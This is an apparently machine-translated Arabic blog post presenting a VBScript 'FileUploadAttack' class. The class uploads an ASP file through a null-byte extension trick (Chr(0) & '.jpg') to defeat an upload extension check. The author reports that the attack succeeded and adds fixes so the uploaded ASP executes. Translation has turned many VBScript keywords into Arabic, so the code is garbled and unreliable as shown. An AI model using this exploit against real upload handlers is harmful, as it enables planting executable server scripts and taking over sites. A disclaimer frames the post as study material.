بعض النصوص الواردة في هذه المقالة مسيئة وهي مخصصة للدراسة والبحث فقط، يرجى استخدامها ضمن النطاق القانوني والمعقول، وأنا لست مسؤولاً عن الخسائر الناجمة، ولا أقدم إرشادات فنية بشأن هجمات القرصنة.
ذكر Demon هذه المشكلة اليوم، وقد ذكرني بمقالة رأيتها من قبل "تحميل الملفات تلقائيًا باستخدام IE+ADO دون تدخل المستخدم - VBSscript". تقدم هذه المقالة مثالاً لبرنامج نصي للتحميل التلقائي غير التفاعلي. يمكنك استعارته اليوم. يستخدم البرنامج النصي الأصلي مكون InternetExplorer.Application، وقد قمت بإعادة كتابته واستخدمت WinHttp.WinHttpRequest.5.1 لتحقيق وظيفة مماثلة لمزيد من الاستخدام لهذا المكون، يرجى الرجوع إلى "مرجع كائن WinHttpRequest".
انسخ الكود كما يلي:الخيار وظيفة صريحة
file_get_contents(filename)
Dim fso, f
Set fso = WSH.CreateObject(Scripting.FilesystemObject)
Set f = fso.OpenTextFile(filename, 1)
file_get_contents = f.ReadAll
f.Close
Set f = لا شيء
Set fso = لا شيء
نهاية الدالة
' تم تعديل الكود من http://www.motobit.com/tips/detpg_uploadvbsie/
Class FileUploadAttack
Private m_objWinHttp
Private m_strUrl
Private m_strFieldName
Private Sub Class_Initialize()
Set m_objWinHttp = WSH.CreateObject( _
WinHttp.WinHttpRequest.5.1)
End Sub
Private Sub Class_Terminate( )
تعيين m_objWinHttp = Nothing
End Sub
Public Sub setUrl(url)
m_strUrl = url
End Sub
Public Sub setFieldName(name)
m_strFieldName = name
End Sub
'المعلومات في رأس حقل النموذج
mpFields(FieldName, FileName, ContentType)
قالب MPTemplate لرأس متعدد الأجزاء
.MPTemplate = ترتيب المحتوى: اسم بيانات النموذج = {field}؛
اسم الملف={ملف} + vbCrLf + _
نوع المحتوى: {ct} + vbCrLf + vbCrLf
Dim Out
Out = Replace(MPTemplate, {field}, FieldName)
Out = Replace(Out, {file}, FileName)
mpFields = Replace( Out، {ct}، ContentType)
وظيفة النهاية
'تحويل سلسلة OLE إلى سلسلة متعددة البايت
الدالة StringToMB(S)
Dim I, B
For I = 1 To Len(S)
B = B & ChrB(Asc(Mid(S, I, 1)))
Next
StringToMB = B
End Function
"إنشاء مستند متعدد الأجزاء/بيانات النموذج مع محتويات الملف ومعلومات الرأس
الوظيفة BuildFormData(FileContents, Boundary, _
اسم الملف، اسم الحقل)
Dim FormData، Pre، Po
Const ContentType = application/upload
'الجزأين المحيطين بمحتويات الملف في بيانات النموذج متعدد الأجزاء
Pre = -- + Boundary + vbCrLf + mpFields(FieldName, _
FileName, ContentType)
Po = vbCrLf + -- + Boundary + -- + vbCrLf
'إنشاء بيانات النموذج باستخدام الحقل الثنائي لمجموعة السجلات
Const adLongVarBinary = 205
Dim RS: Set RS = WSH.CreateObject(ADODB.Recordset)
RS.Fields.Append ب، adLongVarBinary، _
Len(Pre) + LenB(FileContents) + Len(Po)
RS.Open
RS.AddNew
Dim LenData
'تحويل قيمة السلسلة المسبقة إلى بيانات ثنائية
LenData = Len(Pre)
RS(b).AppendChunk (StringToMB(Pre) & ChrB (0))
Pre = RS(b).GetChunk(LenData)
RS(b) =
'تحويل قيمة سلسلة Po إلى بيانات ثنائية
LenData = Len(Po)
RS(b).AppendChunk (StringToMB(Po) & ChrB(0))
Po = RS(b).GetChunk(LenData)
RS(b) =
'الانضمام إلى Pre + FileContents + Po البيانات الثنائية
RS(b).AppendChunk (Pre) )
RS(b).AppendChunk (FileContents)
RS(b).AppendChunk (Po)
RS.Update
FormData = RS(b)
RS.Close
BuildFormData =
وظيفة نهاية
FormDataالوظيفة العامة sendFile(fileName)
حدود Const = ---------------------------0123456789012
m_objWinHttp .Open POST, m_strUrl, False
m_objWinHttp.setRequestHeader Content-Type, _
multipart/form-data; border= + Boundary
Dim FileContents, FormData
'Get الملف المصدر كبيانات ثنائية
FileContents = file_get_contents(FileName)
'ما يلي ينشئ امتداد الملف الضار Chr(0) & .jpg
'إنشاء مستند متعدد الأجزاء/بيانات النموذج
FormData = BuildFormData(FileContents, Boundary, _
FileName & Chr(0). ) & .jpg, m_strFieldName)
m_objWinHttp.send FormData
sendFile = m_objWinHttp.Status
وظيفة النهاية
الوظيفة العامة getText()
getText = m_objWinHttp.ResponseText
وظيفة النهاية وظيفة
نهاية الفئة
VBMain()
VBMain = 0
Dim fileUpload
Set fileUpload = New FileUploadAttack
"تحتاج إلى تعديل المحتوى التالي إلى المحتوى المناسب
" تحميل عنوان url
fileUpload.setUrl http:// /localhost/upload/uploadfile.asp
fileUpload.setFieldName filepath 'اسم مربع نموذج التحميل
' مسار الملف المراد تحميلهإذا
fileUpload.sendFile(E:/projects/asp/index.asp)=200 ثم
تم تحميل MsgBox بنجاح& fileUpload.getText()
آخر
فشل MsgBoxEnd
إذا
تم تعيين fileUpload = لا شيء
نهايةاستدعاء
الوظيفة
وظيفة التحميلWScript.Quit(VBMain())
هي عملية تحميل بسيطة لملفات ASP الموجودة على الإنترنت، ثم تتم إضافتها إلى GetFileExtensionName الذي وصفته في المقالة "أصل CHR(0) في ASP/VBScript ومشكلات الأمان إنه يجلب" تحديد ما إذا كان الامتداد هو jpg.
نتائج الاختبار هي: فشل تحميل ملف asp يدويًا باستخدام البرنامج النصي للهجوم أعلاه، وهو ناجح! يوجد بالفعل ملف asp في دليل التحميل، ويمكن أيضًا الوصول إلى ملف asp هذا من خلال عنوان URL للمتصفح، ولكن الشيء الغريب هو أن الشاشة فارغة. هل هي مشكلة في إصدار IIS؟ إرجاع الدفق الثنائي للملف؟ حسنًا، لنترك هذا السؤال هنا الآن. هناك أشياء أخرى يجب القيام بها، لذا دعونا نبتعد عن الطريق أولًا.
يمكن تنزيل كافة حزم التعليمات البرمجية التجريبية هنا upload.zip (بالنسبة لأخطاء التعليمات البرمجية، يرجى الرجوع إلى تعليمات التحديث أدناه).
تم التحديث في 25 ديسمبر 2011.
واستنادًا إلى تعليقات الجميع، أصبح الملف الذي تم تحميله Unicode Little. مشكلة الترميز Endian، أولاً وقبل كل شيء، أنا آسف لأنني كنت كسولًا جدًا في ذلك الوقت، مرجع الكود الرئيسي هو من أجنبي، وشرح الأجنبي وظيفة GetFile للحصول على بيانات الملف الثنائية، ولم أتمكن من العثور على التنفيذ من هذه الوظيفة، وكنت كسولًا جدًا للقيام بالقراءة الثنائية، لذلك حصلت File_get_contents على بيانات نصية، واسمحوا لي أن أشرح التدابير العلاجية أدناه كسول وتحويل البيانات النصية مباشرة إلى بيانات ثنائية على الأساس الحالي. باستخدام مكون ADODB.Stream، تكون الوظيفة كما يلي:
انسخ الكود الكود كما يلي:
'تحويل سلسلة الأحرف لمجموعة الأحرف المحددة إلى
دالة ثنائية strtobin(str, charset)
باستخدام WSH.CreateObject(ADODB.Stream)
. النوع = 2
.الوضع = 3
.فتح
.Charset = مجموعة الأحرف
.WriteText str
.Flush
.Position = 0
.Type = 1
strtobin = .Read()
أغلق
End With
End Function
ثم قم بتغيير السطر 106 من الكود أعلاه إلى ما يلي (اقرأ النص في ASCII):
انسخ الكود كما يلي:
FileContents = strtobin(file_get_contents(FileName), ASCII)
ملف ASP الذي تم تحميله بعد هذا التغيير هو بشكل عادي المشفر، ثم يصل المتصفح إلى هذا الملف، يمكنك أن ترى أنه تم تحليل ASP بنجاح.
ومع ذلك، يبدو هذا مطولًا بعض الشيء، في الواقع، يمكنك فتح الملف مباشرة في الملف الثنائي وإرجاع البيانات. هناك خطوتان هنا: 1. اقرأ الملف في الوضع النصي؛ 2. قم بتحويل النص إلى بيانات ثنائية. يمكن أن يشير الكود المكون من خطوة واحدة إلى الوظيفة التالية التي تقرأ بيانات الملف في وضع Byte() الثنائي:
انسخ الكود كما يلي:
'إرجاع محتويات الملف كبيانات ثنائية
وظيفة GetFile(FileName)
Dim Stream: Set Stream = CreateObject(ADODB
).Stream)
Stream.Type = 1 'Binary
Stream.Open
Stream.LoadFromFile FileName
GetFile = Stream.Read
Stream.Close
Set Stream = Nothing
End
لن أكتب كودًا أكثر تحسينًاللوظيفة
، فهو يشرح بشكل أساسي فكرة التحميل. إذا كنت ترغب في الحصول على تنفيذ تحميل كامل، يمكنك الرجوع إلى "ملف تحميل VBS Simulation POST".